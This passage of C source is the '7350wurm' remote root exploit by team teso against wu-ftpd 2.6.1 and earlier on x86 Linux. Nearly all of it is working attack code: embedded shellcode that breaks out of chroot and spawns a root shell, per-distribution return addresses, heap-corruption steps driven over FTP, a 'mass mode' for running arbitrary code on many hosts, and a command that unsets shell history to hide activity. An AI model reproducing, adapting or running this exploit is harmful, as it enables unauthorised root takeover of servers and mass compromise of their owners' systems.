| 20 | * thanks to bnuts, tomas, dvorak, scrippie and maxx for hints, discussions | ||
| 21 | * and ideas (synnergy.net rocks, thank you buddies ! :). | ||
| 22 | */ | ||
| 23 | |||
| 24 | #define VERSION "0.3.0" | ||
| 25 | |||
| 26 | /* TODO 1. fix chroot break on linux 2.4.x (x >= 13?) | ||
| 27 | * (ptrace inject on ppid()) | ||
| 28 | */ | ||
| 29 | |||
| 30 | #include <sys/types.h> | ||
| 31 | #include <sys/time.h> | ||
| 32 | #include <sys/socket.h> | ||
| 33 | #include <netinet/in.h> | ||
| 34 | #include <arpa/inet.h> | ||
| 35 | #include <arpa/telnet.h> | ||
| 36 | #include <netdb.h> | ||
| 37 | #include <errno.h> | ||
| 38 | #include <fcntl.h> | ||
| 39 | #include <unistd.h> | ||
| 40 | #include <stdio.h> | ||
| 41 | #include <stdlib.h> | ||
| 42 | #include <stdarg.h> | ||
| 43 | #include <string.h> | ||
| 44 | #include <time.h> | ||
| 45 | |||
| 46 | |||
| 47 | #define INIT_CMD "unset HISTFILE;id;uname -a;\n" | ||
| 48 | |||
| 49 | /* shellcodes | ||
| 50 | */ | ||
| 51 | unsigned char x86_lnx_loop[] = | ||
| 52 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 53 | "\xeb\xfe"; | ||
| 54 | |||
| 55 | /* x86/linux write/read/exec code (41 bytes) | ||
| 56 | * does: 1. write (1, "\nsP\n", 4); | ||
| 57 | * 2. read (0, ncode, 0xff); | ||
| 58 | * 3. jmp ncode | ||
| 59 | */ | ||
| 60 | unsigned char x86_wrx[] = | ||
| 61 | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | ||
| 62 | |||
| 63 | "\x31\xdb\x43\xb8\x0b\x74\x51\x0b\x2d\x01\x01\x01" | ||
| 64 | "\x01\x50\x89\xe1\x6a\x04\x58\x89\xc2\xcd\x80\xeb" | ||
| 65 | "\x0e\x31\xdb\xf7\xe3\xfe\xca\x59\x6a\x03\x58\xcd" | ||
| 66 | "\x80\xeb\x05\xe8\xed\xff\xff\xff"; | ||
| 67 | |||
| 68 | |||
| 69 | unsigned char x86_lnx_execve[] = | ||
| 70 | /* 49 byte x86 linux PIC setreuid(0,0) + chroot-break | ||
| 71 | * code by lorian / teso | ||
| 72 | */ | ||
| 73 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 74 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 75 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 76 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 77 | "\x80" | ||
| 78 | |||
| 79 | /* 34 byte x86 linux argv code -sc | ||
| 80 | */ | ||
| 81 | "\xeb\x1b\x5f\x31\xc0\x50\x8a\x07\x47\x57\xae\x75" | ||
| 82 | "\xfd\x88\x67\xff\x48\x75\xf6\x5b\x53\x50\x5a\x89" | ||
| 83 | "\xe1\xb0\x0b\xcd\x80\xe8\xe0\xff\xff\xff"; | ||
| 84 | |||
| 85 | |||
| 86 | /* setreuid/chroot/execve | ||
| 87 | * lorian / teso */ | ||
| 88 | unsigned char x86_lnx_shell[] = | ||
| 89 | /* TODO: fix chroot break on 2.4.x series (somewhere between 2.4.6 and | ||
| 90 | * 2.4.13 they changed chroot behaviour. maybe to ptrace-inject | ||
| 91 | * on parent process (inetd) and execute code there. (optional) | ||
| 92 | */ | ||
| 93 | "\x33\xdb\xf7\xe3\xb0\x46\x33\xc9\xcd\x80\x6a\x54" | ||
| 94 | "\x8b\xdc\xb0\x27\xb1\xed\xcd\x80\xb0\x3d\xcd\x80" | ||
| 95 | "\x52\xb1\x10\x68\xff\x2e\x2e\x2f\x44\xe2\xf8\x8b" | ||
| 96 | "\xdc\xb0\x3d\xcd\x80\x58\x6a\x54\x6a\x28\x58\xcd" | ||
| 97 | "\x80" | ||
| 98 | "\x6a\x0b\x58\x99\x52\x68\x6e\x2f\x73\x68\x68\x2f" | ||
| 99 | "\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"; | ||
| 100 | |||
| 101 | |||
| 102 | typedef struct { | ||
| 103 | char * desc; /* distribution */ | ||
| 104 | char * banner; /* ftp banner part */ | ||
| 105 | unsigned char * shellcode; | ||
| 106 | unsigned int shellcode_len; | ||
| 107 | |||
| 108 | unsigned long int retloc; /* return address location */ | ||
| 109 | unsigned long int cbuf; /* &cbuf[0] */ | ||
| 110 | } tgt_type; | ||
| 111 | |||
| 112 | |||
| 113 | tgt_type tmanual = { | ||
| 114 | "manual values", | ||
| 115 | "unknown banner", | ||
| 116 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 117 | 0x41414141, 0x42424242 | ||
| 118 | }; | ||
| 119 | |||
| 120 | tgt_type targets[] = { | ||
| 121 | { "Caldera eDesktop|eServer|OpenLinux 2.3 update " | ||
| 122 | "[wu-ftpd-2.6.1-13OL.i386.rpm]", | ||
| 123 | "Version wu-2.6.1(1) Wed Nov 28 14:03:42 CET 2001", | ||
| 124 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 125 | 0x0806e2b0, 0x080820a0 }, | ||
| 126 | |||
| 127 | { "Debian potato [wu-ftpd_2.6.0-3.deb]", | ||
| 128 | "Version wu-2.6.0(1) Tue Nov 30 19:12:53 CET 1999", | ||
| 129 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 130 | 0x0806db00, 0x0807f520 }, | ||
| 131 | |||
| 132 | { "Debian potato [wu-ftpd_2.6.0-5.1.deb]", | ||
| 133 | "Version wu-2.6.0(1) Fri Jun 23 08:07:11 CEST 2000", | ||
| 134 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 135 | 0x0806db80, 0x0807f5a0 }, | ||
| 136 | |||
| 137 | { "Debian potato [wu-ftpd_2.6.0-5.3.deb]", | ||
| 138 | "Version wu-2.6.0(1) Thu Feb 8 17:45:47 CET 2001", | ||
| 139 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 140 | 0x0806db80, 0x0807f5a0 }, | ||
| 141 | |||
| 142 | { "Debian sid [wu-ftpd_2.6.1-5_i386.deb]", | ||
| 143 | "Version wu-2.6.1(1) Sat Feb 24 01:43:53 GMT 2001", | ||
| 144 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 145 | 0x0806e7a0, 0x0807ffe0 }, | ||
| 146 | |||
| 147 | { "Immunix 6.2 (Cartman) [wu-ftpd-2.6.0-3_StackGuard.rpm]", | ||
| 148 | "Version wu-2.6.0(1) Thu May 25 03:35:34 PDT 2000", | ||
| 149 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 150 | 0x080713e0, 0x08082e00 }, | ||
| 151 | |||
| 152 | { "Immunix 7.0 (Stolichnaya) [wu-ftpd-2.6.1-6_imnx_2.rpm]", | ||
| 153 | "Version wu-2.6.1(1) Mon Jan 29 08:04:31 PST 2001", | ||
| 154 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 155 | 0x08072bd4, 0x08086400 }, | ||
| 156 | |||
| 157 | { "Mandrake 6.0|6.1|7.0|7.1 update [wu-ftpd-2.6.1-8.6mdk.i586.rpm]", | ||
| 158 | "Version wu-2.6.1(1) Mon Jan 15 20:52:49 CET 2001", | ||
| 159 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 160 | 0x0806f7f0, 0x08082600 }, | ||
| 161 | |||
| 162 | { "Mandrake 7.2 update [wu-ftpd-2.6.1-8.3mdk.i586.rpm]", | ||
| 163 | "Version wu-2.6.1(1) Wed Jan 10 07:07:00 CET 2001", | ||
| 164 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 165 | 0x08071850, 0x08084660 }, | ||
| 166 | |||
| 167 | { "Mandrake 8.1 [wu-ftpd-2.6.1-11mdk.i586.rpm]", | ||
| 168 | "Version wu-2.6.1(1) Sun Sep 9 16:30:24 CEST 2001", | ||
| 169 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 170 | 0x0806fec4, 0x08082b40 }, | ||
| 171 | |||
| 172 | { "RedHat 5.0|5.1 update [wu-ftpd-2.4.2b18-2.1.i386.rpm]", | ||
| 173 | "Version wu-2.4.2-academ[BETA-18](1) " | ||
| 174 | "Mon Jan 18 19:19:31 EST 1999", | ||
| 175 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 176 | 0x08061cf0, 0x08068540 }, /* XXX: manually found */ | ||
| 177 | |||
| 178 | { "RedHat 5.2 (Apollo) [wu-ftpd-2.4.2b18-2.i386.rpm]", | ||
| 179 | "Version wu-2.4.2-academ[BETA-18](1) " | ||
| 180 | "Mon Aug 3 19:17:20 EDT 1998", | ||
| 181 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 182 | 0x08061c48, 0x08068490 }, /* XXX: manually found */ | ||
| 183 | |||
| 184 | { "RedHat 5.2 update [wu-ftpd-2.6.0-2.5.x.i386.rpm]", | ||
| 185 | "Version wu-2.6.0(1) Fri Jun 23 09:22:33 EDT 2000", | ||
| 186 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 187 | 0x0806b530, 0x08076550 }, /* XXX: manually found */ | ||
| 188 | |||
| 189 | #if 0 | ||
| 190 | /* XXX: not exploitable using synnergy.net method. (glob code | ||
| 191 | * does not handle {.,.,.,.} | ||
| 192 | */ | ||
| 193 | { "RedHat 6.0 (Hedwig) [wu-ftpd-2.4.2vr17-3.i386.rpm]", | ||
| 194 | "Version wu-2.4.2-VR17(1) Mon Apr 19 09:21:53 EDT 1999", | ||
| 195 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 196 | 0x08069f04, 0x08079f60 }, | ||
| 197 | #endif | ||
| 198 | |||
| 199 | { "RedHat 6.? [wu-ftpd-2.6.0-1.i386.rpm]", | ||
| 200 | "Version wu-2.6.0(1) Thu Oct 21 12:27:00 EDT 1999", | ||
| 201 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 202 | 0x0806e620, 0x080803e0 }, | ||
| 203 | |||
| 204 | { "RedHat 6.0|6.1|6.2 update [wu-ftpd-2.6.0-14.6x.i386.rpm]", | ||
| 205 | "Version wu-2.6.0(1) Fri Jun 23 09:17:44 EDT 2000", | ||
| 206 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 207 | 0x08070538, 0x08083360 }, | ||
| 208 | |||
| 209 | { "RedHat 6.1 (Cartman) [wu-ftpd-2.5.0-9.rpm]", | ||
| 210 | "Version wu-2.5.0(1) Tue Sep 21 16:48:12 EDT 1999", | ||
| 211 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 212 | 0x0806cb88, 0x0807cc40 }, | ||
| 213 | |||
| 214 | { "RedHat 6.2 (Zoot) [wu-ftpd-2.6.0-3.i386.rpm]", | ||
| 215 | "Version wu-2.6.0(1) Mon Feb 28 10:30:36 EST 2000", | ||
| 216 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 217 | 0x0806e1a0, 0x0807fbc0 }, | ||
| 218 | |||
| 219 | { "RedHat 7.0 (Guinness) [wu-ftpd-2.6.1-6.i386.rpm]", | ||
| 220 | "Version wu-2.6.1(1) Wed Aug 9 05:54:50 EDT 2000", | ||
| 221 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 222 | 0x08070ddc, 0x08084600 }, | ||
| 223 | |||
| 224 | { "RedHat 7.1 (Seawolf) [wu-ftpd-2.6.1-16.rpm]", | ||
| 225 | "Version wu-2.6.1-16", | ||
| 226 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 227 | 0x0807314c, 0x08085de0 }, | ||
| 228 | |||
| 229 | { "RedHat 7.2 (Enigma) [wu-ftpd-2.6.1-18.i386.rpm]", | ||
| 230 | "Version wu-2.6.1-18", | ||
| 231 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 232 | 0x08072c30, 0x08085900 }, | ||
| 233 | |||
| 234 | { "SuSE 6.0|6.1 update [wuftpd-2.6.0-151.i386.rpm]", | ||
| 235 | "Version wu-2.6.0(1) Wed Aug 30 22:26:16 GMT 2000", | ||
| 236 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 237 | 0x0806e6b4, 0x080800c0 }, | ||
| 238 | |||
| 239 | { "SuSE 6.0|6.1 update wu-2.4.2 [wuftpd-2.6.0-151.i386.rpm]", | ||
| 240 | "Version wu-2.4.2-academ[BETA-18](1) " | ||
| 241 | "Wed Aug 30 22:26:37 GMT 2000", | ||
| 242 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 243 | 0x0806989c, 0x08069f80 }, | ||
| 244 | |||
| 245 | { "SuSE 6.2 update [wu-ftpd-2.6.0-1.i386.rpm]", | ||
| 246 | "Version wu-2.6.0(1) Thu Oct 28 23:35:06 GMT 1999", | ||
| 247 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 248 | 0x0806f85c, 0x08081280 }, | ||
| 249 | |||
| 250 | { "SuSE 6.2 update [wuftpd-2.6.0-121.i386.rpm]", | ||
| 251 | "Version wu-2.6.0(1) Mon Jun 26 13:11:34 GMT 2000", | ||
| 252 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 253 | 0x0806f4e0, 0x08080f00 }, | ||
| 254 | |||
| 255 | { "SuSE 6.2 update wu-2.4.2 [wuftpd-2.6.0-121.i386.rpm]", | ||
| 256 | "Version wu-2.4.2-academ[BETA-18](1) " | ||
| 257 | "Mon Jun 26 13:11:56 GMT 2000", | ||
| 258 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 259 | 0x0806a234, 0x0806a880 }, | ||
| 260 | |||
| 261 | { "SuSE 7.0 [wuftpd.rpm]", | ||
| 262 | "Version wu-2.6.0(1) Wed Sep 20 23:52:03 GMT 2000", | ||
| 263 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 264 | 0x0806f180, 0x08080ba0 }, | ||
| 265 | |||
| 266 | { "SuSE 7.0 wu-2.4.2 [wuftpd.rpm]", | ||
| 267 | "Version wu-2.4.2-academ[BETA-18](1) " | ||
| 268 | "Wed Sep 20 23:52:21 GMT 2000", | ||
| 269 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 270 | 0x0806a554, 0x0806aba0 }, | ||
| 271 | |||
| 272 | { "SuSE 7.1 [wuftpd.rpm]", | ||
| 273 | "Version wu-2.6.0(1) Thu Mar 1 14:43:47 GMT 2001", | ||
| 274 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 275 | 0x0806f168, 0x08080980 }, | ||
| 276 | |||
| 277 | { "SuSE 7.1 wu-2.4.2 [wuftpd.rpm]", | ||
| 278 | "Version wu-2.4.2-academ[BETA-18](1) " | ||
| 279 | "Thu Mar 1 14:44:08 GMT 2001", | ||
| 280 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 281 | 0x0806a534, 0x0806ab80 }, | ||
| 282 | |||
| 283 | { "SuSE 7.2 [wuftpd.rpm]", | ||
| 284 | "Version wu-2.6.0(1) Mon Jun 18 12:34:55 GMT 2001", | ||
| 285 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 286 | 0x0806f58c, 0x08080dc0 }, | ||
| 287 | |||
| 288 | { "SuSE 7.2 wu-2.4.2 [wuftpd.rpm]", | ||
| 289 | "Version wu-2.4.2-academ[BETA-18](1) " | ||
| 290 | "Mon Jun 18 12:35:12 GMT 2001", | ||
| 291 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 292 | 0x0806a784, 0x0806ae40 }, | ||
| 293 | |||
| 294 | { "SuSE 7.3 [wuftpd.rpm]", | ||
| 295 | "Version wu-2.6.0(1) Thu Oct 25 03:14:33 GMT 2001", | ||
| 296 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 297 | 0x0806f31c, 0x08080aa0 }, | ||
| 298 | |||
| 299 | { "SuSE 7.3 wu-2.4.2 [wuftpd.rpm]", | ||
| 300 | "Version wu-2.4.2-academ[BETA-18](1) " | ||
| 301 | "Thu Oct 25 03:14:49 GMT 2001", | ||
| 302 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 303 | 0x0806a764, 0x0806ad60 }, | ||
| 304 | #if 0 | ||
| 305 | |||
| 306 | /* slackware (from 8 on they use proftpd by default) */ | ||
| 307 | { "Slackware 7", | ||
| 308 | "Version wu-2.6.0(1) Fri Oct 22 00:38:20 CDT 1999", | ||
| 309 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 310 | 0x0806d03c, 0x0808f648 }, | ||
| 311 | #endif | ||
| 312 | |||
| 313 | { "Slackware 7.1", | ||
| 314 | "Version wu-2.6.0(1) Tue Jun 27 10:52:28 PDT 2000", | ||
| 315 | x86_wrx, sizeof (x86_wrx) - 1, | ||
| 316 | 0x0806ba2c, }, | ||
| 317 | |||
| 318 | { NULL, NULL, 0, 0, 0, 0 }, | ||
| 319 | }; | ||
| 320 | |||
| 321 | /* exploitation related stuff. | ||
| 322 | * DO NOT CHANGE, except you know exactly what you are doing. | ||
| 323 | */ | ||
| 324 | #define CHUNK_POS 256 | ||
| 325 | |||
| 326 | #define MALLOC_ALIGN_MASK 0x07 | ||
| 327 | #define MALLOC_MINSIZE 0x10 | ||
| 328 | #define CHUNK_ALLSIZE(s) \ | ||
| 329 | CHUNK_ROUND((s)) + 0x08 | ||
| 330 | #define CHUNK_ROUND(s) \ | ||
| 331 | (((((s) + 4 + MALLOC_ALIGN_MASK)) < \ | ||
| 332 | (MALLOC_MINSIZE + MALLOC_ALIGN_MASK)) ? \ | ||
| 333 | (MALLOC_MINSIZE) : ((((s) + 4 + MALLOC_ALIGN_MASK)) & \ | ||
| 334 | ~MALLOC_ALIGN_MASK)) | ||
| 335 | |||
| 336 | /* minimum sized malloc(n) allocation that will jield in an overall | ||
| 337 | * chunk size of s. (s must be a valid %8=0 chunksize) | ||
| 338 | */ | ||
| 339 | #define CHUNK_ROUNDDOWN(s) \ | ||
| 340 | ((s) <= 0x8) ? (1) : ((s) - 0x04 - 11) | ||
| 341 | #define CHUNK_STRROUNDDOWN(s) \ | ||
| 342 | (CHUNK_ROUNDDOWN ((s)) > 1 ? CHUNK_ROUNDDOWN ((s)) - 1 : 1) | ||
| 343 | |||
| 344 | |||
| 345 | /* FTP related stuff | ||
| 346 | */ | ||
| 347 | char * dest = "127.0.0.1"; /* can be changed with -d */ | ||
| 348 | char * username = "ftp"; /* can be changed with -u */ | ||
| 349 | char * password = "mozilla@"; /* can be changed with -p */ | ||
| 350 | |||
| 351 | char * ftp_banner = NULL; | ||
| 352 | |||
| 353 | int verbose = 0; | ||
| 354 | |||
| 355 | |||
| 356 | /* FTP prototypes | ||
| 357 | */ | ||
| 358 | void ftp_escape (unsigned char *buf, unsigned long int buflen); | ||
| 359 | void ftp_recv_until (int sock, char *buff, int len, char *begin); | ||
| 360 | int ftp_login (char *host, char *user, char *pass); | ||
| 361 | |||
| 362 | |||
| 363 | /* main prototypes | ||
| 364 | */ | ||
| 365 | void usage (char *progname); | ||
| 366 | void exploit (int fd, tgt_type *tgt); | ||
| 367 | void shell (int sock); | ||
| 368 | void hexdump (char *desc, unsigned char *data, unsigned int amount); | ||
| 369 | |||
| 370 | void tgt_list (void); | ||
| 371 | tgt_type * tgt_frombanner (unsigned char *banner); | ||
| 372 | |||
| 373 | void xp_buildsize (int fd, unsigned char this_size_ls, | ||
| 374 | unsigned long int csize); | ||
| 375 | void xp_gapfill (int fd, int rnfr_num, int rnfr_size); | ||
| 376 | int xp_build (tgt_type *tgt, unsigned char *buf, unsigned long int buf_len); | ||
| 377 | void xp_buildchunk (tgt_type *tgt, unsigned char *cspace, unsigned int clen); | ||
| 378 | |||
| 379 | |||
| 380 | /*** MASS mode stuff | ||
| 381 | */ | ||
| 382 | static int | ||
| 383 | sc_build_x86_lnx (unsigned char *target, size_t target_len, | ||
| 384 | unsigned char *shellcode, char **argv); | ||
| 385 | |||
| 386 | int mass = 0; /* enable with -m (kids, get hurt!) */ | ||
| 387 | unsigned int mlen = 0; | ||
| 388 | unsigned char mcode[256]; | ||
| 389 | |||
| 390 | |||
| 391 | /* imported from network.c | ||
| 392 | */ | ||
| 393 | #define NET_CONNTIMEOUT 60 | ||
| 394 | #define NET_READTIMEOUT 20 | ||
| 395 | int net_conntimeout = NET_CONNTIMEOUT; | ||
| 396 | |||
| 397 | unsigned long int net_resolve (char *host); | ||
| 398 | int net_connect (struct sockaddr_in *cs, char *server, | ||
| 399 | unsigned short int port, int sec); | ||
| 400 | void net_write (int fd, const char *str, ...); | ||
| 401 | int net_rtimeout (int fd, int sec); | ||
| 402 | int net_rlinet (int fd, char *buf, int bufsize, int sec); | ||
| 403 | |||
| 404 | |||
| 405 | /* exploitation related stuff, which is fixed on all wuftpd systems | ||
| 406 | */ | ||
| 407 | #define RNFR_SIZE 4 | ||
| 408 | #define RNFR_NUM 73 | ||
| 409 | |||
| 410 | int automode = 0; /* evil, do not use */ | ||
| 411 | int debugmode = 0; | ||
| 412 | |||
| 413 | void | ||
| 414 | usage (char *progname) | ||
| 415 | { | ||
| 416 | fprintf (stderr, "usage: %s [-h] [-v] [-a] [-D] [-m]\n" | ||
| 417 | "\t[-t <num>] [-u <user>] [-p <pass>] [-d host]\n" | ||
| 418 | "\t[-L <retloc>] [-A <retaddr>]\n\n", progname); | ||
| 419 | |||
| 420 | fprintf (stderr, | ||
| 421 | "-h\tthis help\n" | ||
| 422 | "-v\tbe verbose (default: off, twice for greater effect)\n" | ||
| 423 | "-a\tAUTO mode (target from banner)\n" | ||
| 424 | "-D\tDEBUG mode (waits for keypresses)\n" | ||
| 425 | "-m\tenable mass mode (use with care)\n" | ||
| 426 | "-t num\tchoose target (0 for list, try -v or -v -v)\n" | ||
| 427 | "-u user\tusername to login to FTP (default: \"ftp\")\n" | ||
| 428 | "-p pass\tpassword to use (default: \"mozilla@\")\n" | ||
| 429 | "-d dest\tIP address or fqhn to connect to " | ||
| 430 | "(default: 127.0.0.1)\n" | ||
| 431 | "-L loc\toverride target-supplied retloc " | ||
| 432 | "(format: 0xdeadbeef)\n" | ||
| 433 | "-A addr\toverride target-supplied retaddr " | ||
| 434 | "(format: 0xcafebabe)\n"); | ||
| 435 | fprintf (stderr, "\n"); | ||
| 436 | |||
| 437 | exit (EXIT_FAILURE); | ||
| 438 | } | ||
| 439 | |||
| 440 | unsigned char * shellcode = NULL; | ||
| 441 | unsigned long int shellcode_len = 0; | ||
| 442 | unsigned long int user_retloc = 0, | ||
| 443 | user_retaddr = 0; | ||
| 444 | |||
| 445 | |||
| 446 | int | ||
| 447 | main (int argc, char *argv[]) | ||
| 448 | { | ||
| 449 | char c; | ||
| 450 | char * progname; /* = argv[0] */ | ||
| 451 | int fd; | ||
| 452 | |||
| 453 | tgt_type * tgt = NULL; | ||
| 454 | int tgt_num = -1; | ||
| 455 | |||
| 456 | unsigned char xpbuf[512 + 16]; | ||
| 457 | |||
| 458 | |||
| 459 | fprintf (stderr, "7350wurm - x86/linux wuftpd <= 2.6.1 remote root " | ||
| 460 | "(version "VERSION")\n" | ||
| 461 | "team teso (thx bnuts, tomas, synnergy.net !).\n\n"); | ||
| 462 | |||
| 463 | progname = argv[0]; | ||
| 464 | if (argc < 2) | ||
| 465 | usage (progname); | ||
| 466 | |||
| 467 | |||
| 468 | while ((c = getopt (argc, argv, "hvaDmt:u:p:d:L:A:")) != EOF) { | ||
| 469 | switch (c) { | ||
| 470 | case 'h': | ||
| 471 | usage (progname); | ||
| 472 | break; | ||
| 473 | case 'a': | ||
| 474 | automode = 1; | ||
| 475 | break; | ||
| 476 | case 'D': | ||
| 477 | debugmode = 1; | ||
| 478 | break; | ||
| 479 | case 'v': | ||
| 480 | verbose += 1; | ||
| 481 | break; | ||
| 482 | case 'm': | ||
| 483 | mass = 1; | ||
| 484 | break; | ||
| 485 | case 't': | ||
| 486 | if (sscanf (optarg, "%u", &tgt_num) != 1) | ||
| 487 | usage (progname); | ||
| 488 | break; | ||
| 489 | case 'u': | ||
| 490 | username = optarg; | ||
| 491 | printf ("username = %s\n", optarg); | ||
| 492 | break; | ||
| 493 | case 'p': | ||
| 494 | password = optarg; | ||
| 495 | break; | ||
| 496 | case 'd': | ||
| 497 | dest = optarg; | ||
| 498 | break; | ||
| 499 | case 'L': | ||
| 500 | if (sscanf (optarg, "0x%lx", &user_retloc) != 1) | ||
| 501 | usage (progname); | ||
| 502 | break; | ||
| 503 | case 'A': | ||
| 504 | if (sscanf (optarg, "0x%lx", &user_retaddr) != 1) | ||
| 505 | usage (progname); | ||
| 506 | break; | ||
| 507 | default: | ||
| 508 | usage (progname); | ||
| 509 | break; | ||
| 510 | } | ||
| 511 | } | ||
| 512 | |||
| 513 | /* if both required offsets are given manually, then we dont have | ||
| 514 | * to require a target selection. otherwise check whether the target | ||
| 515 | * is within the list. if its not, then print a list of available | ||
| 516 | * targets | ||
| 517 | */ | ||
| 518 | if (user_retloc != 0 && user_retaddr != 0) { | ||
| 519 | tgt = &tmanual; | ||
| 520 | } else if (automode == 0 && (tgt_num == 0 || | ||
| 521 | tgt_num >= (sizeof (targets) / sizeof (tgt_type)))) | ||
| 522 | { | ||
| 523 | if (tgt_num != 0) | ||
| 524 | printf ("WARNING: target out of list. list:\n\n"); | ||
| 525 | |||
| 526 | tgt_list (); | ||
| 527 | |||
| 528 | exit (EXIT_SUCCESS); | ||
| 529 | } | ||
| 530 | if (tgt == NULL && automode == 0) | ||
| 531 | tgt = &targets[tgt_num - 1]; | ||
| 532 | |||
| 533 | if (mass == 1) { | ||
| 534 | if ((argc - optind) == 0) | ||
| 535 | usage (progname); | ||
| 536 | |||
| 537 | mlen = sc_build_x86_lnx (mcode, sizeof (mcode), | ||
| 538 | x86_lnx_execve, &argv[optind]); | ||
| 539 | |||
| 540 | if (mlen >= 0xff) { | ||
| 541 | fprintf (stderr, "created argv-code too long " | ||
| 542 | "(%d bytes)\n", mlen); | ||
| 543 | |||
| 544 | exit (EXIT_FAILURE); | ||
| 545 | } | ||
| 546 | |||
| 547 | fprintf (stderr, "# created %d byte execve shellcode\n", mlen); | ||
| 548 | } | ||
| 549 | |||
| 550 | printf ("# trying to log into %s with (%s/%s) ...", dest, | ||
| 551 | username, password); | ||
| 552 | fflush (stdout); | ||
| 553 | |||
| 554 | fd = ftp_login (dest, username, password); | ||
| 555 | if (fd <= 0) { | ||
| 556 | fprintf (stderr, "\nfailed to connect (user/pass correct?)\n"); | ||
| 557 | exit (EXIT_FAILURE); | ||
| 558 | } | ||
| 559 | printf (" connected.\n"); | ||
| 560 | |||
| 561 | if (debugmode) { | ||
| 562 | printf ("DEBUG: press enter\n"); | ||
| 563 | getchar (); | ||
| 564 | } | ||
| 565 | |||
| 566 | printf ("# banner: %s", (ftp_banner == NULL) ? "???" : | ||
| 567 | ftp_banner); | ||
| 568 | |||
| 569 | if (tgt == NULL && automode) { | ||
| 570 | tgt = tgt_frombanner (ftp_banner); | ||
| 571 | if (tgt == NULL) { | ||
| 572 | printf ("# failed to jield target from banner, aborting\n"); | ||
| 573 | |||
| 574 | exit (EXIT_FAILURE); | ||
| 575 | } | ||
| 576 | printf ("# successfully selected target from banner\n"); | ||
| 577 | } | ||
| 578 | |||
| 579 | if (shellcode == NULL) { | ||
| 580 | shellcode = tgt->shellcode; | ||
| 581 | shellcode_len = tgt->shellcode_len; | ||
| 582 | } | ||
| 583 | |||
| 584 | if (verbose >= 2) { | ||
| 585 | printf ("using %lu byte shellcode:\n", shellcode_len); | ||
| 586 | |||
| 587 | hexdump ("shellcode", shellcode, shellcode_len); | ||
| 588 | } | ||
| 589 | |||
| 590 | if (user_retaddr != 0) { | ||
| 591 | fprintf (stderr, "# overriding target retaddr with: 0x%08lx\n", | ||
| 592 | user_retaddr); | ||
| 593 | } | ||
| 594 | |||
| 595 | if (user_retloc != 0) { | ||
| 596 | fprintf (stderr, "# overriding target retloc with: 0x%08lx\n", | ||
| 597 | user_retloc); | ||
| 598 | |||
| 599 | tgt->retloc = user_retloc; | ||
| 600 | } | ||
| 601 | |||
| 602 | printf ("\n### TARGET: %s\n\n", tgt->desc); | ||
| 603 | |||
| 604 | /* real stuff starts from here | ||
| 605 | */ | ||
| 606 | printf ("# 1. filling memory gaps\n"); | ||
| 607 | xp_gapfill (fd, RNFR_NUM, RNFR_SIZE); | ||
| 608 | |||
| 609 | exploit (fd, tgt); | ||
| 610 | |||
| 611 | printf ("# 3. triggering free(globlist[1])\n"); | ||
| 612 | net_write (fd, "CWD ~{\n"); | ||
| 613 | |||
| 614 | ftp_recv_until (fd, xpbuf, sizeof (xpbuf), "sP"); | ||
| 615 | if (strncmp (xpbuf, "sP", 2) != 0) { | ||
| 616 | fprintf (stderr, "exploitation FAILED !\noutput:\n%s\n", | ||
| 617 | xpbuf); | ||
| 618 | |||
| 619 | exit (EXIT_FAILURE); | ||
| 620 | } | ||
| 621 | |||
| 622 | printf ("#\n# exploitation succeeded. sending real shellcode\n"); | ||
| 623 | |||
| 624 | if (mass == 1) { | ||
| 625 | printf ("# mass mode, sending constructed argv code\n"); | ||
| 626 | |||
| 627 | write (fd, mcode, mlen); | ||
| 628 | |||
| 629 | printf ("# send. sleeping 10 seconds\n"); | ||
| 630 | sleep (10); | ||
| 631 | |||
| 632 | printf ("# success.\n"); | ||
| 633 | |||
| 634 | exit (EXIT_SUCCESS); | ||
| 635 | } | ||
| 636 | |||
| 637 | printf ("# sending setreuid/chroot/execve shellcode\n"); | ||
| 638 | net_write (fd, "%s", x86_lnx_shell); | ||
| 639 | |||
| 640 | printf ("# spawning shell\n"); | ||
| 641 | printf ("##################################################" | ||
| 642 | "##########################\n"); | ||
| 643 | |||
